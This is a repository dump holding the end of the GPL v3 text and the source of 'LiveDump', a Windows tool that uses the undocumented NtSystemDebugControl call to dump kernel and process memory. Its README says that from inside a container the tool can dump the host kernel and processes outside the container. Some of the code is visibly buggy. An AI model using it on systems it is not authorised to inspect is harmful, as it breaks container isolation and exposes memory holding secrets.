work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . -------------------------------------------------------------------------------- /LiveDump/LiveDump.cpp: -------------------------------------------------------------------------------- 1 | #include "LiveDump.hpp" 2 | // Based on the code: https://code.google.com/archive/p/livedump/ 3 | // License: GNU GPL v3 4 | 5 | 6 | // 7 | // Globals 8 | // 9 | static NtSystemDebugControl g_NtSystemDebugControl = NULL; 10 | 11 | ///========================================================================= 12 | /// PrintUsage() 13 | /// 14 | /// 15 | /// Print program usage 16 | /// 17 | /// 18 | /// 19 | /// 20 | ///========================================================================= 21 | VOID 22 | PrintUsage( 23 | VOID 24 | ) 25 | { 26 | printf("\n\n"); 27 | printf("LiveDump.exe [type] [options] \n"); 28 | printf("Type:\n"); 29 | printf("\ttriage : create a triage dump (parameter 29)\n"); 30 | printf("\tkernel : create a kernel dump (parameter 37)\n"); 31 | printf("Options (triage dump only):\n"); 32 | printf("\t-p : PID to dump\n"); 33 | printf("Options (kernel dump only):\n"); 34 | printf("\t-c : compress memory pages in dump\n"); 35 | printf("\t-d : Use dump stack (currently not implemented in Windows 8.1, 9600.16404.x86fre.winblue_gdr.130913-2141)\n"); 36 | printf("\t-h : add hypervisor pages\n"); 37 | printf("\t-u : also dump user space memory\n"); 38 | printf("\t-O : \n"); 39 | printf("FileName is the full path to the dump file to create."); 40 | printf("\n"); 41 | } 42 | 43 | ///========================================================================= 44 | /// main() 45 | /// 46 | /// 47 | /// Main console program 48 | /// 49 | /// 0 on success, other values on failure 50 | /// 51 | /// 52 | ///========================================================================= 53 | INT 54 | wmain( 55 | __in INT Argc, 56 | __in PWCHAR Argv[] 57 | ) 58 | { 59 | HANDLE handle; 60 | HMODULE module; 61 | DWORD result; 62 | INT i; 63 | SYSDBG_LIVEDUMP_CONTROL_FLAGS flags; 64 | SYSDBG_LIVEDUMP_CONTROL_ADDPAGES pages; 65 | PWCHAR outfile; 66 | PWCHAR type; 67 | NTSTATUS status; 68 | ULONG pid; 69 | ULONG fileFlags; 70 | 71 | handle = INVALID_HANDLE_VALUE; 72 | result = NO_ERROR; 73 | flags.AsUlong = 0; 74 | pages.AsUlong = 0; 75 | outfile = NULL; 76 | type = NULL; 77 | pid = 0; 78 | 79 | // 80 | // Parse and validate arguments 81 | // 82 | if (Argc < 3) 83 | { 84 | printf("Invalid number of arguments."); 85 | PrintUsage(); 86 | return 1; 87 | } 88 | 89 | for (i = 1; i < Argc; ++i) 90 | { 91 | if (i == 1) 92 | { 93 | type = Argv[i]; 94 | continue; 95 | } 96 | 97 | if (_wcsicmp(Argv[i], L"-c") == 0) 98 | { 99 | flags.CompressMemoryPagesData = 1; 100 | } 101 | else if (_wcsicmp(Argv[i], L"-d") == 0) 102 | { 103 | flags.UseDumpStorageStack = 1; 104 | } 105 | else if (_wcsicmp(Argv[i], L"-h") == 0) 106 | { 107 | pages.HypervisorPages = 1; 108 | } 109 | else if (_wcsicmp(Argv[i], L"-u") == 0) 110 | { 111 | flags.IncludeUserSpaceMemoryPages = 1; 112 | } 113 | else if (_wcsicmp(Argv[i], L"-O") == 0) 114 | { 115 | if ((i + 3) >= Argc) 116 | { 117 | printf("You must specify a page value.\n"); 118 | PrintUsage(); 119 | return 1; 120 | } 121 | pages.AsUlong = _wtoi(Argv[++i]); 122 | flags.AsUlong = _wtoi(Argv[++i]); 123 | outfile = Argv[++i]; 124 | break; 125 | } 126 | else 127 | { 128 | outfile = Argv[i]; 129 | } 130 | } 131 | 132 | if (outfile == NULL) 133 | { 134 | printf("You must specify a file name.\n"); 135 | PrintUsage(); 136 | return 1; 137 | } 138 | 139 | if (_wcsicmp(type, L"triage") == 0) 140 | { 141 | // 142 | // WriteFile can't cope with buffers that aren't sector-aligned when we specify 143 | // FILE_FLAG_NO_BUFFERING (which is a requirement for kernel dump creation). 144 | // Since the returned triage buffer data can be unaligned in this manner, it's 145 | // easiest to just prevent WriteFile failing by not specifying that flag during 146 | // the call to CreateFile. 147 | // 148 | fileFlags = FILE_ATTRIBUTE_NORMAL; 149 | 150 | if (pid == 0) 151 | { 152 | printf("A non-zero PID is required for triage dumps.\n"); 153 | PrintUsage(); 154 | return 1; 155 | } 156 | } 157 | else if (_wcsicmp(type, L"kernel") == 0) 158 | { 159 | // 160 | // We have to use synchronous/no-buffering I/O for kernel dump creation. 161 | // 162 | fileFlags = FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING; 163 | } 164 | else 165 | { 166 | printf("Valid dump types are 'triage' and 'kernel'.\n"); 167 | PrintUsage(); 168 | return 1; 169 | } 170 | 171 | // 172 | // Get function addresses 173 | // 174 | module = LoadLibrary(L"ntdll.dll"); 175 | 176 | if (module == NULL) 177 | { 178 | printf("Failed to load ntdll.dll\n"); 179 | return -1; 180 | } 181 | 182 | g_NtSystemDebugControl = (NtSystemDebugControl) GetProcAddress(module, "NtSystemDebugControl"); 183 | FreeLibrary(module); 184 | if (g_NtSystemDebugControl == NULL) 185 | { 186 | printf("Failed to resolve NtSystemDebugControl.\n"); 187 | return 1; 188 | } 189 | 190 | // 191 | // Get SeDebugPrivilege 192 | // 193 | if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)) 194 | { 195 | result = GetLastError(); 196 | printf("Failed to enable SeDebugPrivilege: %lu\n", result); 197 | goto Exit; 198 | } 199 | 200 | // 201 | // Create the target file (must specify synchronous I/O) 202 | // 203 | handle = CreateFileW(outfile, 204 | GENERIC_WRITE | GENERIC_READ, 205 | 0, 206 | NULL, 207 | CREATE_ALWAYS, 208 | fileFlags, 209 | NULL); 210 | 211 | if (handle == INVALID_HANDLE_VALUE) 212 | { 213 | result = GetLastError(); 214 | printf("CreateFileW failed: %d\n", result); 215 | goto Exit; 216 | } 217 | 218 | // 219 | // Try to create the requested dump 220 | // 221 | if (_wcsicmp(type, L"triage") == 0) 222 | { 223 | status = CreateTriageDump(handle, pid); 224 | } 225 | else if (_wcsicmp(type, L"kernel") == 0) 226 | { 227 | status = CreateKernelDump(handle, flags, pages); 228 | } 229 | 230 | if (NT_SUCCESS(status)) 231 | { 232 | printf("Dump file '%ws' written successfully!\n", outfile); 233 | result = NO_ERROR; 234 | } 235 | else 236 | { 237 | printf("Failed to create dump file.\n"); 238 | result = -1; 239 | } 240 | 241 | Exit: 242 | 243 | // 244 | // Remove privileges regardless of earlier success. 245 | // 246 | EnablePrivilege(SE_DEBUG_NAME, FALSE); 247 | 248 | if (handle != INVALID_HANDLE_VALUE) 249 | { 250 | CloseHandle(handle); 251 | 252 | if (!NT_SUCCESS(status)) 253 | { 254 | DeleteFile(outfile); 255 | } 256 | } 257 | 258 | return (result == NO_ERROR) ? 0 : 1; 259 | } 260 | 261 | ///========================================================================= 262 | /// EnablePrivilege() 263 | /// 264 | /// 265 | /// Enables or disables a privilege in an access token 266 | /// 267 | /// PrivilegeName - name of privilege 268 | /// Acquire - TRUE to add, FALSE to remove 269 | /// TRUE on success, FALSE on failure 270 | /// 271 | /// 272 | ///========================================================================= 273 | BOOL 274 | EnablePrivilege( 275 | __in PCWSTR PrivilegeName, 276 | __in BOOLEAN Acquire 277 | ) 278 | { 279 | HANDLE tokenHandle; 280 | BOOL ret; 281 | ULONG tokenPrivilegesSize = FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[1]); 282 | PTOKEN_PRIVILEGES tokenPrivileges = static_cast(calloc(1, tokenPrivilegesSize)); 283 | 284 | if (tokenPrivileges == NULL) 285 | { 286 | printf("Failed to allocate token privileges structure\n"); 287 | return FALSE; 288 | } 289 | 290 | tokenHandle = NULL; 291 | tokenPrivileges->PrivilegeCount = 1; 292 | ret = LookupPrivilegeValue(NULL, 293 | PrivilegeName, 294 | &tokenPrivileges->Privileges[0].Luid); 295 | if (ret == FALSE) 296 | { 297 | printf("Failed to lookup privilege value by name: %lu\n", GetLastError()); 298 | goto Exit; 299 | } 300 | 301 | tokenPrivileges->Privileges[0].Attributes = Acquire ? SE_PRIVILEGE_ENABLED 302 | : SE_PRIVILEGE_REMOVED; 303 | 304 | ret = OpenProcessToken(GetCurrentProcess(), 305 | TOKEN_ADJUST_PRIVILEGES, 306 | &tokenHandle); 307 | if (ret == FALSE) 308 | { 309 | printf("Failed to open current process token: %lu\n", GetLastError()); 310 | goto Exit; 311 | } 312 | 313 | ret = AdjustTokenPrivileges(tokenHandle, 314 | FALSE, 315 | tokenPrivileges, 316 | tokenPrivilegesSize, 317 | NULL, 318 | NULL); 319 | if (ret == FALSE) 320 | { 321 | printf("Failed to adjust current process token privileges: %lu\n", GetLastError()); 322 | goto Exit; 323 | } 324 | 325 | Exit: 326 | 327 | if (tokenHandle != NULL) 328 | { 329 | CloseHandle(tokenHandle); 330 | } 331 | 332 | free(tokenPrivileges); 333 | 334 | return ret; 335 | } 336 | 337 | ///========================================================================= 338 | /// CreateTriageDump() 339 | /// 340 | /// 341 | /// Creates a triage dump using NtDebugSystemControl parameter 29 and the 342 | /// first 16 threads of the supplied process. 343 | /// 344 | /// FileHandle - Handle to dump file to write 345 | /// Pid - ID of the process to dump 346 | /// NTSTATUS code 347 | /// 348 | /// 349 | ///========================================================================= 350 | NTSTATUS 351 | CreateTriageDump( 352 | __in HANDLE FileHandle, 353 | __in ULONG Pid 354 | ) 355 | { 356 | NTSTATUS status; 357 | SYSDBG_TRIAGE_DUMP dump; 358 | PUCHAR dumpData; 359 | ULONG returnLength; 360 | ULONG bytesWritten; 361 | HANDLE enumHandle; 362 | THREADENTRY32 thread; 363 | HANDLE threadHandles[MAX_TRIAGE_THREADS]; 364 | INT threadCount; 365 | HANDLE threadHandle; 366 | HANDLE processHandle; 367 | 368 | printf("Attempting to create a triage dump...\n"); 369 | enumHandle = NULL; 370 | dumpData = NULL; 371 | threadCount = 0; 372 | status = -1; 373 | 374 | // 375 | // Open the process 376 | // 377 | processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Pid); 378 | 379 | if (processHandle == INVALID_HANDLE_VALUE) 380 | { 381 | printf("Failed to open PID %lu: %lu", Pid, GetLastError()); 382 | goto Exit; 383 | } 384 | 385 | // 386 | // Enumerate the first 16 threads 387 | // 388 | enumHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, Pid); 389 | 390 | if (enumHandle == INVALID_HANDLE_VALUE) 391 | { 392 | printf("Failed to get thread list: %lu", GetLastError()); 393 | goto Exit; 394 | } 395 | 396 | thread.dwSize = sizeof(thread); 397 | 398 | if (!Thread32First(enumHandle, &thread)) 399 | { 400 | printf("Failed to get first thread: %lu", GetLastError()); 401 | goto Exit; 402 | } 403 | 404 | do 405 | { 406 | if (thread.dwSize >= 407 | FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + 408 | sizeof(thread.th32OwnerProcessID)) 409 | { 410 | threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, thread.th32ThreadID); 411 | 412 | if (threadHandle == INVALID_HANDLE_VALUE) 413 | { 414 | printf("Failed to open thread %lu, skipping.\n", thread.th32ThreadID); 415 | continue; 416 | } 417 | 418 | threadHandles[threadCount++] = threadHandle; 419 | } 420 | 421 | } while ((Thread32Next(enumHandle, &thread)) && threadCount < MAX_TRIAGE_THREADS); 422 | 423 | if (threadCount == 0) 424 | { 425 | printf("No suitable threads found in PID %lu\n", Pid); 426 | goto Exit; 427 | } 428 | 429 | printf("Triage dump is for PID %lu with %lu threads.\n", 430 | Pid, 431 | threadCount); 432 | // 433 | // Allocate buffer for triage dump data 434 | // 435 | dumpData = (PUCHAR)(calloc(1, TRIAGE_SIZE)); 436 | 437 | if (dumpData == NULL) 438 | { 439 | printf("Failed to allocate %lu bytes\n", TRIAGE_SIZE); 440 | goto Exit; 441 | } 442 | 443 | memset(&dump, 0, sizeof(dump)); 444 | memset(dumpData, 0, TRIAGE_SIZE); 445 | 446 | dump.ThreadHandles = threadCount; 447 | dump.Handles = &threadHandles[0]; 448 | 449 | assert(g_NtSystemDebugControl != NULL); 450 | status = g_NtSystemDebugControl(CONTROL_TRIAGE_DUMP, 451 | (PVOID)(&dump), 452 | sizeof(dump), 453 | dumpData, 454 | TRIAGE_SIZE, 455 | &returnLength); 456 | 457 | if (!NT_SUCCESS(status)) 458 | { 459 | printf("NtSystemDebugControl failed: %08x\n", status); 460 | goto Exit; 461 | } 462 | 463 | if (returnLength == 0) 464 | { 465 | printf("Triage data buffer is empty. Try a different process.\n"); 466 | status = -1; 467 | goto Exit; 468 | } 469 | 470 | // 471 | // Write to target dump file 472 | // 473 | if (!WriteFile(FileHandle, dumpData, returnLength, &bytesWritten, NULL)) 474 | { 475 | printf("WriteFile failed: %lu\n", GetLastError()); 476 | status = -1; 477 | goto Exit; 478 | } 479 | 480 | assert(bytesWritten == returnLength); 481 | 482 | Exit: 483 | 484 | if (enumHandle != INVALID_HANDLE_VALUE) 485 | { 486 | CloseHandle(enumHandle); 487 | } 488 | 489 | for (INT i = 0; i <= threadCount; i++) 490 | { 491 | CloseHandle(threadHandles[i]); 492 | } 493 | 494 | if (processHandle != INVALID_HANDLE_VALUE) 495 | { 496 | CloseHandle(processHandle); 497 | } 498 | 499 | if (dumpData != NULL) 500 | { 501 | free(dumpData); 502 | } 503 | 504 | return status; 505 | } 506 | 507 | ///========================================================================= 508 | /// CreateKernelDump() 509 | /// 510 | /// 511 | /// Creates a kernel dump using NtDebugSystemControl parameter 37 512 | /// 513 | /// FileHandle - Handle to dump file to write 514 | /// Flags - Kernel dump flags 515 | /// Pages - Flags for memory pages to write 516 | /// NTSTATUS code 517 | /// 518 | /// 519 | ///========================================================================= 520 | NTSTATUS 521 | CreateKernelDump( 522 | __in HANDLE FileHandle, 523 | __in SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags, 524 | __in SYSDBG_LIVEDUMP_CONTROL_ADDPAGES Pages 525 | ) 526 | { 527 | NTSTATUS status; 528 | SYSDBG_LIVEDUMP_CONTROL liveDumpControl; 529 | ULONG returnLength; 530 | 531 | printf("Attempting to create a kernel dump with flags %08x and pages %08x... size sysdbg live dump %llu sizeof flags: %08x, sizeof addpagess: %08x\n", 532 | Flags, 533 | Pages, 534 | sizeof(liveDumpControl), 535 | sizeof(Flags), 536 | sizeof(Pages)); 537 | printf("Please be patient, this could take a minute or two...\n"); 538 | 539 | memset(&liveDumpControl, 0, sizeof(liveDumpControl)); 540 | 541 | // 542 | // The only thing the kernel looks at in the struct we pass is the handle, 543 | // the flags and the pages to dump. 544 | // 545 | liveDumpControl.DumpFileHandle = (PVOID)(FileHandle); 546 | liveDumpControl.AddPagesControl = Pages; 547 | liveDumpControl.Flags = Flags; 548 | unsigned char* pf = ((unsigned char*)&liveDumpControl); 549 | void* raw_ptr = &liveDumpControl; 550 | ((void**)raw_ptr)[0] = (PVOID)(Pages.AsUlong); 551 | ((void**)raw_ptr)[5] = (PVOID)(FileHandle); 552 | ((void**)raw_ptr)[7] = (PVOID)(Flags.AsUlong); 553 | printf("%08x %08x\n", liveDumpControl.Flags, liveDumpControl.AddPagesControl); 554 | for (size_t i = 0; i < sizeof(liveDumpControl); ++i) 555 | { 556 | printf("%02X ", pf[i]); 557 | if ((i + 1) % 0x10 == 0) 558 | { 559 | printf("\n"); 560 | } 561 | } 562 | 563 | printf("\n"); 564 | status = g_NtSystemDebugControl(CONTROL_KERNEL_DUMP, 565 | (PVOID)(&liveDumpControl), 566 | sizeof(liveDumpControl), 567 | NULL, 568 | 0, 569 | &returnLength); 570 | 571 | if (!NT_SUCCESS(status)) 572 | { 573 | printf("NtSystemDebugControl failed: %08x\n", status); 574 | } 575 | 576 | return status; 577 | } -------------------------------------------------------------------------------- /LiveDump/LiveDump.hpp: -------------------------------------------------------------------------------- 1 | #pragma once 2 | // Based on the code: https://code.google.com/archive/p/livedump/ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 11 | #define CONTROL_TRIAGE_DUMP 29 12 | #define CONTROL_KERNEL_DUMP 37 13 | #define TRIAGE_SIZE 0x20000 // must be >132k and <1MB 14 | #define MAX_TRIAGE_THREADS 16 15 | 16 | #pragma comment(lib, "ntdll") 17 | 18 | // 19 | // From NDK, argument required for parameter 29. 20 | // 21 | typedef struct _SYSDBG_TRIAGE_DUMP 22 | { 23 | ULONG Flags; 24 | ULONG BugCheckCode; 25 | ULONG_PTR BugCheckParam1; 26 | ULONG_PTR BugCheckParam2; 27 | ULONG_PTR BugCheckParam3; 28 | ULONG_PTR BugCheckParam4; 29 | ULONG ProcessHandles; 30 | ULONG ThreadHandles; 31 | PHANDLE Handles; 32 | } SYSDBG_TRIAGE_DUMP, * PSYSDBG_TRIAGE_DUMP; 33 | 34 | // 35 | // Undocumented. Structures relevant for new parameter 37. 36 | // Greetz to Alex I. 37 | // 38 | typedef union _SYSDBG_LIVEDUMP_CONTROL_FLAGS 39 | { 40 | struct 41 | { 42 | ULONG UseDumpStorageStack : 1; 43 | ULONG CompressMemoryPagesData : 1; 44 | ULONG IncludeUserSpaceMemoryPages : 1; 45 | ULONG Reserved : 29; 46 | }; 47 | ULONG AsUlong; 48 | } SYSDBG_LIVEDUMP_CONTROL_FLAGS; 49 | 50 | 51 | typedef union _SYSDBG_LIVEDUMP_CONTROL_ADDPAGES 52 | { 53 | struct 54 | { 55 | ULONG HypervisorPages : 1; 56 | ULONG Reserved : 31; 57 | }; 58 | ULONG AsUlong; 59 | } SYSDBG_LIVEDUMP_CONTROL_ADDPAGES; 60 | 61 | typedef struct _SYSDBG_LIVEDUMP_CONTROL 62 | { 63 | ULONG Version; 64 | ULONG BugCheckCode; 65 | ULONG BugCheckParam1; 66 | ULONG BugCheckParam2; 67 | ULONG BugCheckParam3; 68 | ULONG BugCheckParam4; 69 | PVOID DumpFileHandle; 70 | PVOID CancelEventHandle; 71 | SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags; 72 | SYSDBG_LIVEDUMP_CONTROL_ADDPAGES AddPagesControl; 73 | // Not sure why it is required to add the padding but it doesn't work without it. 74 | void* emptyPlaceHolder; 75 | INT emptyPlaceHolder_int; 76 | INT emptyPlaceHolder_int_2; 77 | } SYSDBG_LIVEDUMP_CONTROL, * PSYSDBG_LIVEDUMP_CONTROL; 78 | 79 | typedef 80 | NTSTATUS 81 | (__stdcall* 82 | NtSystemDebugControl) ( 83 | ULONG ControlCode, 84 | PVOID InputBuffer, 85 | ULONG InputBufferLength, 86 | PVOID OutputBuffer, 87 | ULONG OutputBufferLength, 88 | PULONG ReturnLength 89 | ); 90 | 91 | BOOL 92 | EnablePrivilege( 93 | __in PCWSTR PrivilegeName, 94 | __in BOOLEAN Acquire 95 | ); 96 | 97 | NTSTATUS 98 | CreateTriageDump( 99 | __in HANDLE FileHandle, 100 | __in ULONG Pid 101 | ); 102 | 103 | NTSTATUS 104 | CreateKernelDump( 105 | __in HANDLE FileHandle, 106 | __in SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags, 107 | __in SYSDBG_LIVEDUMP_CONTROL_ADDPAGES Pages 108 | ); 109 | 110 | INT 111 | wmain( 112 | __in INT Argc, 113 | __in PWCHAR Argv[] 114 | ); -------------------------------------------------------------------------------- /LiveDump/LiveDump.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {a8143179-8a7e-4c00-a27a-be2cb0cc2043} 25 | LiveDump 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | MultiThreadedDebug 92 | 93 | 94 | Console 95 | true 96 | 97 | 98 | 99 | 100 | Level3 101 | true 102 | true 103 | true 104 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 105 | true 106 | MultiThreaded 107 | 108 | 109 | Console 110 | true 111 | true 112 | true 113 | 114 | 115 | 116 | 117 | Level3 118 | true 119 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | MultiThreadedDebug 122 | 123 | 124 | Console 125 | true 126 | 127 | 128 | 129 | 130 | Level3 131 | true 132 | true 133 | true 134 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 135 | true 136 | MultiThreaded 137 | 138 | 139 | Console 140 | true 141 | true 142 | true 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | -------------------------------------------------------------------------------- /LiveDump/LiveDump.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Source Files 25 | 26 | 27 | 28 | 29 | 30 | -------------------------------------------------------------------------------- /LiveDump/LiveDump.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | kernel -O 4 4 .\dump.dump 5 | WindowsLocalDebugger 6 | 7 | 8 | kernel -O 4 4 .\dump.dump 9 | WindowsLocalDebugger 10 | 11 | -------------------------------------------------------------------------------- /LiveDump/README.md: -------------------------------------------------------------------------------- 1 | # LiveDump 2 | Live dump of the kernel and usermode. 3 | 4 | # Dumping inside Windows container 5 | It is possible to dump the kernel of the host. 6 | It is not possible to dump usermode processes outside of the container. 7 | 8 | # How to execute 9 | LiveDump.exe kernel -c -d -h 10 | 11 | if kernel debugger is enabled and attached - it is possible to do a live dump of the usermode as well 12 | If it is inside the container - it will dump all the processes inside the container and outside of the container. 13 | LiveDump.exe kernel -c -d -h -u 14 | 15 | # Source 16 | This project is based on the following repos (few changes were made in order to support the changes since 2014) 17 | https://code.google.com/archive/p/livedump/ 18 | License: GNU GPL v3 19 | 20 | Blogposts written relates to this repo: 21 | https://crashdmp.wordpress.com/2014/08/04/livedump-1-0-is-available/ 22 | https://crashdmp.wordpress.com/2014/08/01/introducing-livedump-exe/ 23 | -------------------------------------------------------------------------------- /NVRAM/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2019, 